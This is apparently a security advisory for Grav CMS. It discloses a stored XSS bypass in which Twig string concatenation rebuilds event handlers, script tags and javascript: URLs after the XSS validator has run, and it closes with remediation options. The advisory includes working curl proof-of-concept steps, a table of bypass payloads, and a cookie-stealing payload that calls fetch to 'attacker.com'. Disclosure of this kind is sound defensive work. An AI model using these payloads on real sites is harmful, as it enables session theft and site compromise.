Details
## Summary
The XSS blueprint validator (`Security::detectXss()`) runs on the **raw page content before Twig processing**. An attacker can use Twig's string concatenation operator (`~`) to dynamically construct an event handler name at render time. The validator sees `{{ "on" ~ "error" }}` - a harmless Twig expression - and allows the content. After Twig processes the template, the output contains `<img src=1 onerror=alert(1)>` which is rendered via `{{ content|raw }}` and executes in the victim's browser.
---
## Details
**The two-stage attack** exploits the separation between validation and rendering:
**Stage 1 - what the XSS validator sees** (raw page content):
```twig
{% set x = "on" ~ "error" %}
<img src=1 {{ x }}=alert(document.domain)>
```
The `detectXss()` function scans this string. The `on_events` regex looks for `<[^>]*?[\s\x00-\x20\"\'\/](on\s*[a-z]+|xmlns)\s*=` inside HTML tags. In `{{ x }}`, the `{` character is not in the boundary set `[\s\x00-\x20\"\'\/]`, and `x` is not `on`. **No match - passes validation.**
**Stage 2 - what Twig produces** (after rendering):
```html
<img src=1 onerror=alert(document.domain)>
```
The validator never re-inspects Twig output. The theme template renders this via `{{ page.content|raw }}` (confirmed in `quark2/templates/default.html.twig:5`), so no auto-escaping occurs.
**Why `{% set %}` and `~` are allowed** - `system/config/security.yaml:125-145`:
```yaml
allowed_tags:
- set # ← allows variable assignment
...
```
The `~` operator is a core Twig operator for string concatenation (like `.` in PHP). It is not a function, filter, or tag — it is always available and not gated by the sandbox.
**The same technique bypasses the `dangerous_tags` blocklist** - any blocked tag name can be reconstructed:
```twig
<s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}>
{# XSS validator sees: <s{{...}}> - no <script> tag detected
Twig output: <script>alert(1)</script> #}
```
**Also bypasses the `invalid_protocols` check**:
```twig
<a href="{{"java"~"script"}}:alert(1)">click</a>
{# Validator sees: href="{{...}}" - no "javascript:" protocol detected #}
```
---
## Proof of Concept
### Prerequisites
1. `twig_content.process_enabled: true` set by admin
2. `api.pages.write` permission (page creation)
### Step 1 - Obtain JWT token (any user with page write access)
```bash
JWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \
-X POST -H "Content-Type: application/json" \
-d '{"username":"user","password":"pass"}' \
| python3 -c "import json,sys; print(json.load(sys.stdin)['data']['access_token'])")
```
### Step 2 - Create page with Twig XSS payload
```bash
curl -s http://127.0.0.1/grav/api/v1/pages -X POST \
-H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \
-d '{
"title": "xss-page",
"folder": "xss-page",
"route": "/xss-page",
"template": "default",
"header": {"title": "xss", "process": {"markdown": false}},
"content": "{% set x = \"on\" ~ \"error\" %}<img src=1 {{ x }}=alert(document.domain)>"
}'
```
**Result**: `201 Created` - XSS validator passes because it sees `{{ x }}`, not `onerror`.
### Step 3 - Visit page → XSS fires
```bash
curl -s http://127.0.0.1/grav/xss-page | grep -oP '<img[^>]*>'
# Output: <img src=1 onerror=alert(document.domain)>
```
Open in browser: `http://127.0.0.1/grav/xss-page` - `alert(document.domain)` fires.
<img width="1842" height="996" alt="image" src="https://github.com/user-attachments/assets/eedd2555-266e-41fc-a461-c56631b8a588" />
<img width="1346" height="263" alt="image" src="https://github.com/user-attachments/assets/b42b4ba3-4b8c-40a3-8fc3-62f961835aef" />
#### From a low-level user
Also From a low-level user normal script such as `<img src=1 onerror=alert(1)>` this is being blocked by the restriction.
<img width="1849" height="980" alt="image" src="https://github.com/user-attachments/assets/f1503d4a-7daf-4237-b155-22801b961b57" />
But with payloads such as <a href="{{"java"~"script"}}:alert(1)">click</a> proves that the we can bypass the blueprint restrictions and upload malicious script to it
<img width="1841" height="1009" alt="image" src="https://github.com/user-attachments/assets/60af8cf8-840a-4b9c-84ba-6f89355035fd" />
<img width="1524" height="390" alt="image" src="https://github.com/user-attachments/assets/201991b7-3d56-4d85-9bbc-17a63b9cb770" />
### Alternative payloads (all bypass the validator)
| Payload | Twig Source | After Twig | Triggers |
|---------|------------|------------|----------|
| Event handler | `<img src=1 {{"on"~"error"}}=alert(1)>` | `<img src=1 onerror=alert(1)>` | Image load fails |
| Script tag | `<s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}>` | `<script>alert(1)</script>` | Immediately |
| Protocol bypass | `<a href="{{"java"~"script"}}:alert(1)">click</a>` | `<a href="javascript:alert(1)">click</a>` | On click |
| Iframe onload | `<i{{"f"~"r"~"a"~"m"~"e"}} {{"on"~"load"}}=alert(1)>` | `<iframe onload=alert(1)>` | Page load |
| Details toggle | `<details open {{"on"~"toggle"}}=alert(1)>` | `<details open ontoggle=alert(1)>` | Page load |
| Cookie theft | `<img src=1 {{"on"~"error"}}=fetch("https://attacker.com/?c="+document.cookie)>` | `<img src=1 onerror=fetch(...)>` | Image load fails |
### Admin preview caveat
The Admin2 SPA renders page previews inside a **sandboxed iframe**:
```html
<iframe sandbox="allow-same-origin allow-scripts allow-forms"></iframe>
```
`allow-modals` is **not** set - `alert()` is silenced in the admin preview. Use `fetch()`, `document.write()`, or DOM manipulation payloads to prove execution in the admin panel. The frontend page (no iframe) has no such restriction - `alert()` fires directly.
---
## Impact
Once the Twig content master gate is enabled by an administrator, **any user with page write access** can inject stored XSS into page content that executes for all visitors. The attack:
- **Bypasses all four XSS validator regexes** (`on_events`, `invalid_protocols`, `dangerous_tags`, `html_inline_styles`)
- **Bypasses the dangerous tag blocklist** (reconstructs `<script>`, `<iframe>`, `<svg>`, etc.)
- **Bypasses the invalid protocol blocklist** (reconstructs `javascript:`, `data:`)
- **Persists** across page edits (stored in page content file)
- **Executes** for every visitor to the page
An attacker can steal session cookies, perform actions as the victim, or deface the site.
---
## Remediation
### Option A - Re-run the XSS validator on Twig output
After `Twig::processPage()` renders the content, run the XSS validator on the **output** before it is cached and served:
```php
// In Twig::processPage(), after rendering
$rendered = $twig->render($name, $context);
$result = Security::detectXss($rendered);
if ($result !== null) {
// Log and sanitize or block
Security::logTwigSandboxViolation('xss_output', $result, '', $route);
return ''; // or return escaped version
}
```
### Option B - Disallow `~` and `{% set %}` in sandboxed content (too restrictive)
Removing string concatenation or variable assignment from the sandbox would break legitimate use cases (e.g., building dynamic class names, assembling URLs).
### Option C - Block dynamic attribute names in Twig output
Parse the Twig output for HTML and check if any event handler attributes were dynamically constructed. This is complex but comprehensive.
### Option D - Escape HTML in rendered Twig output
Wrap the rendered output with `htmlspecialchars()` unless explicitly marked safe. This is the Twig default behavior — the `|raw` filter in theme templates bypasses it. Consider removing `|raw` from default themes and requiring explicit `|raw` only for trusted content.
EPSS — exploit probability
Low0.26%
estimated chance of real-world exploitation in the next 30 days — higher than 18.3% of every CVE FIRST.org scores
Refreshed 9/17/2026 — via FIRST.org's EPSS model, not CVSS — this measures likelihood of exploitation, not how severe it would be.